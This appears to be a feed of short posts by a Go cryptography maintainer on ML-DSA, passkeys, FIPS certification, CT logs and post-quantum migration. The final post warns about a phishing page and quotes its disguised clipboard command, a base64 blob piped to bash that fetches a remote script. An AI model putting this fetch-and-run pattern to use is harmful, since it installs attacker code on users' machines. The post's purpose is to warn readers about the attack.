← Feed

Posts

• Post #4112337

  It's not my usual beat, but I wrote a pure-Python ML-DSA verifier. pip install mldsa It's 350 lines, CC0/0BSD, single-file, no dependencies, and thoroughly tested. Signature verification handles no secrets, so it doesn't need to be constant-time. https://words.filippo.io/mldsa-py/

• Post #3972480

  Passkeys can be stored just like password hashes! I'm proposing an interoperable $webauthn$v=1$… format, and a Go API that uses these passkey records for authentication. I'm looking for feedback before proposing this as crypto/passkey for Go 1.28! https://words.filippo.io/passkey-record/

• Post #3360132

  In 2020, OpenSSL had a vulnerability in handling the signature_algorithms_cert extension. https://openssl-library.org/news/secadv/20200421.txt Palo Alto apparently "solved" this in their IPS by blocking connections with "unknown" algs in signature_algorithms_cert. Six years later, we can't add ML-DSA to signature_algorithms_cert in Go. signature_algorithms_cert is dead. Sigh. Thanks to @cks@mastodon.social for diagnosing this. Sometimes it takes us months to figure ou...

• Post #3311253

  There's been some confusion around some BRs non-compliant X.509 chains that OpenSSL accepts but Go rejects. We're not going to introduce complexity in crypto/x509 to support them, but I realized you could always re-encode the issuer as an unsigned root to work around it. So I made a little web tool to make it easy. https://github.com/golang/go/issues/31440#issuecomment-4663196149

• Post #3085197

  Can you see how to use a test vector that provides (seed, public key, message, µ, signature) to test a deterministic signing API that does (seed, message) → (signature) or a key generation API that does (seed) → (public key)? Noted cryptographer D. J. Bernstein can't, certainly in good faith. *sigh* I jest, but refuting this FUD takes real resources we could spend so, so, so much better. It'd be sad if it wasn't so harmful. https://mailarchive.ietf.org/arch/msg/tls/p5...

• Post #2913719

  I am live with Alex Gaynor to talk about the Geomys model of professional open source maintenance and how it helps projects face challenges, like the recent influx of LLM vulnerability findings! Join us live on https://www.twitch.tv/filosottile right now or catch the recording soon!

• Post #2471801

  NIST is updating SP 800-133, which details the "FIPS approved" ways to generate keys. There's a lot of good news in it, it approves a lot of stuff we were doing, like X-Wing seed derivation and https://c2sp.org/det-keygen. Here are my comments: https://leaflet.pub/f6fc0b3b-161d-4e35-99cd-e95ad62402a5

• Post #2396952

  In 2022, I left Google in search of a sustainable approach to open source maintenance. A year later, I was a full-time independent professional open source maintainer. Today I’m announcing the natural progression of that experiment: Geomys, a small firm of professional maintainers with a portfolio of critical Go projects. Nicola Murino, the maintainer of x/crypto/ssh, and @dominik, the maintainer of Staticcheck and Gotraceui, are Geomys’ first Associate Maintainers ✨ https://words.filippo.io/...

• Post #1913846

  Looks like GitHub silently corrupted some index. PR #237 definitely exists and is closed (https://github.com/C2SP/C2SP/pull/237) but is just... not in the list (https://github.com/C2SP/C2SP/pulls?q=is%3Apr+is%3Aclosed) regardless of filters. I briefly doubted my own sanity. This is bad.

• Post #1859823

  A bit over two years after starting to work on it... Go is officially FIPS 140-3 certified 💥 https://csrc.nist.gov/projects/cryptographic-module-validation-program/certificate/5247 I am pretty confident Go is now one of the most—if not the most—seamless and complete FIPS 140-3 compliance solutions... with a single env var, out of the box.

• Post #1583887

  How much storage / bandwidth / CPU / memory does it take to run a production Sunlight CT log? Surprisingly little! There's now a public stats page, pulled every 5m from our Tuscolo prod metrics. https://stats.sunlight.geomys.org/ Less than 2 cores, 300 MB of memory, ~250 Mbps of bandwidth, 260 GiB of SSD.

• Post #1465812

  There are no technical or compliance reasons to double the size of symmetric keys in response to the threat of quantum computers. This common misunderstanding of Grover's algorithm risks wasting limited resources that should go towards deploying actually urgent post-quantum algorithms. https://words.filippo.io/128-bits/?source=Mastodon

• Post #1425102

  “I wish CISA would stop assigning out-of-context CVSS scores to our CVEs.” * monkey paw curls * https://www.csoonline.com/article/3963190/cve-program-faces-swift-end-after-dhs-fails-to-renew-contract-leaving-security-flaw-tracking-in-limbo.html

• Post #1164427

  I wrote up in the TLS mailing list why I think composite signatures (ML-DSA + ECDSA/RSA) are a net negative, will hurt the ecosystem, and should not be implemented. Hybrid key exchange was simple and self-contained. Hybrid signatures would be a mountain of complexity in code responsible for half of sev:crit in crypto libraries since 2020. https://mailarchive.ietf.org/arch/msg/tls/oh3jmmkHzHdp1hk4R4M9QjkmvBk/

• Post #1074166

  There was no good way to see what CT logs are actually used by CAs, so I made a dashboard of Censys data on exe.dev. There are some interesting patterns, but the main one is that Let's Encrypt is the only CA that evenly spreads load. Other CAs are mostly using older logs, or their own logs and Google's. (Of course, LE is 50% of issuance, and GTS is 25%, so the rest don't matter much.) https://groups.google.com/a/chromium.org/d/msgid/ct-policy/718571cb-a841-4102-bcfa-3f...

• Post #1074165

  I finally chased down test coverage for the last edge cases of ML-DSA's low-level, constant-time field operations like Decompose. This is an accumulated (https://words.filippo.io/accumulated/) test that locks in the output for all possible inputs of all these tricky functions. https://go.dev/cl/762940 It's not even that slow (5.27s)! Also available on CCTV, along with accumulated keygen/sign/verify tests worth 60M random tests: https://github.com/C2SP/CCTV/tree/main/ML-DSA/acc...

• Post #1068097

  Alright, it's official! 💰 @matthew_d_green and I bet on what will break first, ML-KEM-768 or X25519. The loser donates to a 501(c)(3) picked by the winner. If you have an opinion on quantum computers or lattices, you can join with a side bet. Just submit a PR! https://github.com/FiloSottile/ecc-vs-lattices-long-bet

• Post #988894

  Oh hey, with all the 🔥 I almost missed that today was the 12th anniversary of Heartbleed. The online test I cobbled together that night gave me the opportunities to get started in this line of work! Initially it was hilariously bad: a Flask server shelling out to a patched Go crypto/tls binary.

• Post #958882

  Two papers came out last week that suggest classical asymmetric cryptography might indeed be broken by quantum computers in just a few years. That means we need to ship post-quantum crypto now, with the tools we have: ML-KEM and ML-DSA. I didn't think PQ auth was so urgent until recently. https://words.filippo.io/crqc-timeline/

• Post #949760

  Last year, my position was that we still had time to design PQ authentication mechanisms. Now, based on the pace of progress and on statements like Google's, I believe: 1. we need to finish rolling out PQ key exchange yesterday 2. we need to start rolling out PQ auth now 3. it's too late to ship any new non-PQ design or system https://blog.google/innovation-and-ai/technology/safety-security/cryptography-migration-timeline/

• Post #749508

  RE: https://infosec.exchange/@sophieschmieg/116218879218610494 Yay test vectors! I will write properly about this, but we are going pretty far to test ML-DSA *and make it easy to test,* so I am hopeful ML-DSA bugs will be rare compared to classical [EC|Ed]DSA bugs. These test gaps were identified by writing multiple alternative ML-DSA implementations and mutation testing *those* to find missing vectors to then bring back to the Go implementation, and share on Wycheproof.

• Post #709591

  PSA: go.sum is not a lockfile. You never need to look at go.sum. go.mod has everything you need. https://words.filippo.io/gosum/?source=Mastodon

• Post #646207

• Post #552326

  I just published a small security fix for a rarely used API in filippo.io/edwards25519. v1.1.1 is v1.1.0 + fix, while v1.2.0 has a few other nice changes. If you get notified about it but you don't use MultiScalarMult, consider switching to a vulnerability scanner that actually respects your attention, like govulncheck! https://github.com/FiloSottile/edwards25519/security/advisories/GHSA-fw7p-63qq-7hpr

• Post #552325

  TIL about the git fast-import textual format! Lets me write tests for the c2sp.org redirector against a synthetic git repository I can easily edit, and even gives me stable shorthands to refer to commits. https://github.com/C2SP/C2SP/commit/99d43ad2adcddb85acf37028be45590cd78008c3

• Post #375647

  Dependabot security alerts have terrible signal-to-noise ratio, especially for Go vulnerabilities. That hurts security! Just turn it off and set up a pair of scheduled GitHub Actions, one running govulncheck, and the other running CI against the latest version of your dependencies. Less work, less risk, better results! https://words.filippo.io/dependabot/?source=Mastodon

• Post #290807

  This is pretty well executed phishing. The Copy button copies to the clipboard echo "Y3Vy[...]ggJg==" | base64 -d | bash which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash. They even detect piping, so to read it you have to run "curl | cat".